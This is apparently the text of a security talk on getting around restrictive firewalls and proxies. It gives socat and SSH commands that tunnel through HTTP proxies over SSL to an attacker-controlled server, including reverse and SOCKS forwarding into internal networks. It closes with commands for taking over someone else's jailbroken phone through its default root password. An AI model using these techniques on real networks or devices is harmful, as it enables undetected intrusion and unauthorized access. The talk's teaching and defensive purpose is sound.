DEFEATING THE NETWORK SECURITY INFRASTRUCTURE How to get out, back in or … simply let everyone in … without being detected ! Common Sense  This is for education only and should not be used for any illegal, hacking or other activity that might cause harm or damage of any kind.  Only try this in an isolated lab environment to prevent accidental exposing of network services. Assumption (1)  The attacker is allowed to bring in   an USB flash disk or CDROM Access to a fully patched PC  AV and Personal Firewall may be installed or the attacker brings his own PC.  No exploits  Access to an external web server under the attacker’s control Assumption (2)  A very restrictive firewall policy  Nothing is allowed out   Exception   HTTP(s) is allowed directly HTTP(s) is allowed via an HTTP(s) proxy     No authentication BASIC auth NTLM auth (not tested yet) Nothing is allowed in Tools  SOCAT   http://www.dest-unreach.org/socat/ SSH client  Standard SSH client    NTLM authorization proxy   PUTTY suite OPENSSH SSH client http://ntlmaps.sourceforge.net Backtrack  http://www.remote-exploit.org/backtrack.html Preparing an escape route Introduction   SOCAT is a utility that relays data between 2 data channels  Socket, files, PIPE … Example  Any data SOCAT receives on port 6666 is relayed to www.company.com on port 80 # socat TCP4-LISTEN:6666 TCP4:www.company.com:80 tcp:6666  SOCAT tcp:80 www.company.com Works for HTTP, TELNET, SSH ... How to test?  netcat # nc 127.0.0.1 6666  telnet # telnet 192.168.123.81 6666  Socat (as client software) # socat STDIO TCP:127.0.0.1:6666 or # socat STDIO TCP:192.168.123.81:6666 Accessing SSL enabled services  SOCAT can be used to access SSL enabled services # socat TCP4-LISTEN:6666 OPENSSL:192.168.123.50:443 tcp:6666  SOCAT ssl:443 SSL_SERVICE Works for HTTPS, IMAPS, POPS, LDAPS … Demo Escaping through a proxy  SOCAT can forward connections through an HTTP proxy # socat TCP4-LISTEN:6666 TCP4:proxy.company.com:8080 tcp:6666 SOCAT tcp:8080 HTTP_PROXY tcp:80 SERVICE Escaping via the proxy using SSL  SSL connections can be proxied through a HTTP proxy using the CONNECT method # socat TCP4-LISTEN:6666 / PROXY:proxy.company.com:ssl.company.com:443  Remark: Local listener expects an SSL connection ssl ssl:6666 SOCAT tcp:8080 HTTP_PROXY ssl:443 SSL_SERVICE Demo Forwarding SSH over a proxy  Relaying a SSH over an open proxy.  very often not allowed   open proxies do exist “in the wild” mostly only on TCP 443 can be relayed using the CONNECT method (but don’t panic yet ) #socat TCP4-listen:6666 / PROXY:proxy.company.com:ssh.myserver.com:22 ssh tcp:6666 SOCAT tcp:8080 HTTP_PROXY ssh:22 SSH_SERVICE Creating tunnels Creating an end-to-end SSL tunnel  On the attacking machine, SOCAT relays input over the SSL connection #socat TCP4-listen:6666 OPENSSL:my.server.com:443  The SSL tunnel is terminated on the attacker’s server and forwarded to a listening TCP socket #socat OPENSSL-LISTEN:443,cert=path_to_cert TCP4:127.0.0.1:22 Tunneling tcp:22 tcp:6666 SOCAT SOCAT tcp:1234 tcp:22 tcp:6666 ssl SOCAT ssl:443 SOCAT Tunneling TCP over SSL and Proxy  When SOCAT_1 connects to SOCAT_2, SOCAT_2 will initiate a CONNECT method to the proxy allowing a SSL connection to be negotiated between SOCAT_1 and SOCAT_3 tcp:6666 tcp:22 ssl SOCAT_1 ssl:4444 SOCAT_2 tcp:8080 HTTP_PROXY ssl:443 SOCAT_3 #socat TCP4-listen:6666 OPENSSL:localhost:4444 #socat TCP4-listen:4444 PROXY:proxy.company.com:my.server.com:443 #socat OPENSSL-LISTEN:443,cert=path_to_cert TCP4:127.0.0.1:22 Handling NTLM authentication  NTLM authentication  An additional NTLM Authorization Proxy Server might be inserted to authenticate to the http_proxy, if required. tcp:6666 SOCAT_1 tcp:22 SOCAT_2 NTLMauthentication proxy tool tcp:8080 HTTP_PROXY ssl SOCAT_3 Any TCP connection can be mapped in this way across firewalls, proxies, IDS ….. and of course, securely and almost invisible !! Introducing SSH over SSL  SSH can be tunneled through the established SSL tunnel # ssh username@127.0.0.1 –p 6666 SSH SERVER SSH CLIENT tcp:22 tcp:6666 SOCAT_1 SOCAT_2 NTLMauthentication proxy tool tcp:8080 HTTP_PROXY SSL SOCAT_3 SSH options -L  Option -L # ssh username@127.0.0.1 –p 6666 –L 3333:127.0.0.1:2222  Data received on the listening client socket is forwarded over the SSH connection (wrapped into the SSL tunnel) to SSH server.  The SSH server forwards the data over a new TCP connection to destination specified   Localhost Any IP address !! SSL SSH tcp:2222 tcp:3333 SSH SERVER SSH CLIENT tcp:22 tcp:6666 SOCAT_1 SOCAT_2 NTLMauthentication proxy tool tcp:8080 HTTP_PROXY SSL SOCAT_3 SSH options -R  Option -R # ssh username@127.0.0.1 –p 6666 –R 3333:127.0.0.1:2222  Reverse port forwarding    port 3333 accepts incoming connections on the SSH server! Accepted connections are forwarded through the SSH connection (reverse direction) to the SSH client. SSH client originates and establishes a connection to 127.0.0.1:2222   Localhost Any INTERNAL IP ADDRESS can be specified!!! SSL SSH tcp:3333 tcp:2222 SSH SERVER SSH CLIENT tcp:22 tcp:6666 SOCAT_1 SOCAT_2 NTLMauthentication proxy tool tcp:8080 HTTP_PROXY SSL SOCAT_3 SSH options -D  Option -D ssh username@127.0.0.1 –p 6666 –D 1080  SOCKS proxy  port 1080 accepts incoming connections on the SSH client and forwards the request to the SSH server acting as a socks proxy. SOCKS ENABLED CLIENT tcp:1080 SSH SERVER SSH CLIENT tcp:22 tcp:6666 SOCAT_1 SOCAT_2 Ntlmauthentication proxy tool Tcp:8080 HTTP_PROXY SSL SOCAT_3 Game over ?!? SOCKS ENABLED CLIENT SOCKS ENABLED CLIENT tcp:1080 tcp:1080 SSH CLIENT SSH SERVER tcp:1080 tcp:22 tcp:6666 SOCAT_1 tcp:1080 SSH CLIENT SSH SERVER SOCAT_2 NTLMauthentication proxy tool tcp:8080 HTTP_PROXY ssl SOCAT_3 Additional tricks   Use non of non-standard ports “optimizing” SSL    Fine tuning SOCAT options   X.509 client certificates “strong” ciphers to protect SSL tunnels being arp spoofed … fork, su, proxyport … Fragmentation (still does the trick ) Feasibility?  BackTrack 3 has everything on board  Runs from USB, CDROM, Virtual desktops …  Similar tools are available for windows platform with limited privileges  Will it work from your network?   99% chance? Do I really need the most complicated scenario?  No direct TCP connections to the outside? What can I do about it?  Very restrictive desktop policy      Baseline traffic   Effectiveness? Advanced forward proxy technology   No USB support No boot from CDROM/USB No possible way to install software Bios passwords Feasibility and impact? Other solutions? Things to think about     Network firewalls CANNOT help you … IDS/IPS will not help … Content Security proxies will not help … What about outbound(SSL)VPN connections?    Very dangerous in this respect ! Network layer functionality OPENVPN can be tunneled!  Very rich feature set  Bridging networks Questions ? Snow White was almost killed by an apple …  Imagine a “ziphoned” MP3 player enabled phone on a public wireless network and xxradar being bored … c:\pscp root@phoneip:/etc/sshd_config ./. c:\write sshd_config change accordingly ;-) c:\pscp ./sshd_config root@phoneip:/etc/sshd_config ... SSH into the phone and relaunch SSH or reboot ... c:\plink root@phoneip -D 1080  Any idea what this means ???   No? you better turn of your phone then  Oh yes I forgot, there is a standard password on that “ziphoned” MP3 player enabled phone! Thank you for listening ! Philippe Bogaerts philippe.bogaerts at radarhack.com http://www.radarhack.com http://www.radarsec.com Reviewed by Kris Boulez (Ascure)